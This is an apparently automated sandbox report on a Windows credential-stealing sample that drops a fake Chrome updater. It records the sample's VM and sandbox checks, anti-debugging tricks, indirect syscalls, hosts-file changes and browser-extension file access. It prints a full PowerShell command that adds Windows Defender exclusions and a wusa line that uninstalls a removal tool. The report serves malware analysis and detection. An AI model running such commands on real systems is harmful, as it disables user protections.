Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-66702

Query firmware table information (likely to detect VMs)

Source: C:\ProgramData\EHDHDHIECG.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\ProgramData\EHDHDHIECG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Source: C:\ProgramData\Google\Chrome\updater.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\ProgramData\Google\Chrome\updater.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\ProgramData\Google\Chrome\updater.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7329			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2325			Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

API coverage: 6.3 %

Source: C:\Windows\System32\svchost.exe TID: 1900	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1900	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5432	Thread sleep count: 7329 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5904	Thread sleep count: 2325 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1368	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00418060 GetSystemInfo,wsprintfA,

0_2_00418060

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: EHDHDHIECG.exe, 00000009.00000002.2110759214.000002E543211000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: chrome.exe, 00000001.00000002.1847369077.0000307C006D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: chrome.exe, 00000001.00000002.1850627429.0000307C00C74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouseb-page
Source: chrome.exe, 00000001.00000002.1851062763.0000307C00D30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=aad82a39-bef8-43c4-9279-67746d6945b1
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FC4000.00000004.00000020.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002F69000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2093023724.0000018FCFA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2094145521.0000018FD4E58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002F69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002F69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarer,
Source: chrome.exe, 00000001.00000002.1828220884.000001D614D37000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	API call chain: ExitProcess graph end node	graph_0-67866
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	API call chain: ExitProcess graph end node	graph_0-66687
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	API call chain: ExitProcess graph end node	graph_0-66690
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	API call chain: ExitProcess graph end node	graph_0-66708
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	API call chain: ExitProcess graph end node	graph_0-66701
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	API call chain: ExitProcess graph end node	graph_0-66709
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	API call chain: ExitProcess graph end node	graph_0-66529
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	API call chain: ExitProcess graph end node	graph_0-66730

Source: C:\ProgramData\EHDHDHIECG.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\ProgramData\EHDHDHIECG.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: regmonclass
Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: procmon_window_class
Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: filemonclass
Source: C:\ProgramData\Google\Chrome\updater.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\ProgramData\EHDHDHIECG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process queried: DebugPort
Source: C:\ProgramData\Google\Chrome\updater.exe	Process queried: DebugPort
Source: C:\ProgramData\Google\Chrome\updater.exe	Process queried: DebugObjectHandle

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00404610 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,GetProcessHeap,RtlAllocateHeap,lstrlenA,lstrlenA,lstrlenA,lstrlenA,LdrInitializeThunk,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,strlen,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,VirtualProtect,

0_2_00404610

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041B058

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_0040A090 LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,

0_2_0040A090

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00419AA0 mov eax, dword ptr fs:[00000030h]

0_2_00419AA0

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041B058
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0041D21A SetUnhandledExceptionFilter,	0_2_0041D21A
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_0041B63A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041B63A
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_6C7FAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C7FAC62

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: xLgTQcFdIJ.exe PID: 6956, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\ProgramData\EHDHDHIECG.exe	NtSetInformationThread: Indirect: 0x7FF6D4EF617E	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	NtQuerySystemInformation: Indirect: 0x7FF7D13E43B2
Source: C:\ProgramData\EHDHDHIECG.exe	NtQueryInformationProcess: Indirect: 0x7FF6D4F202FD	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	NtQuerySystemInformation: Indirect: 0x7FF6D4EE43B2	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	NtSetInformationThread: Indirect: 0x7FF7D13F617E
Source: C:\ProgramData\Google\Chrome\updater.exe	NtQueryInformationProcess: Indirect: 0x7FF7D141B642
Source: C:\ProgramData\Google\Chrome\updater.exe	NtQueryInformationProcess: Indirect: 0x7FF7D14202FD
Source: C:\ProgramData\EHDHDHIECG.exe	NtQueryInformationProcess: Indirect: 0x7FF6D4F1B642	Jump to behavior

Modifies the hosts file

Source: C:\ProgramData\EHDHDHIECG.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_004198E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_004198E0
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Code function: 0_2_00419790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00419790

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\EHDHDHIECG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\EHDHDHIECG.exe "C:\ProgramData\EHDHDHIECG.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 6956 -ip 6956	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6956 -s 2296	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_6C844760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C844760

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_6C721C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C721C30

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_6C7FAE71 cpuid

0_2_6C7FAE71

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417D20

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
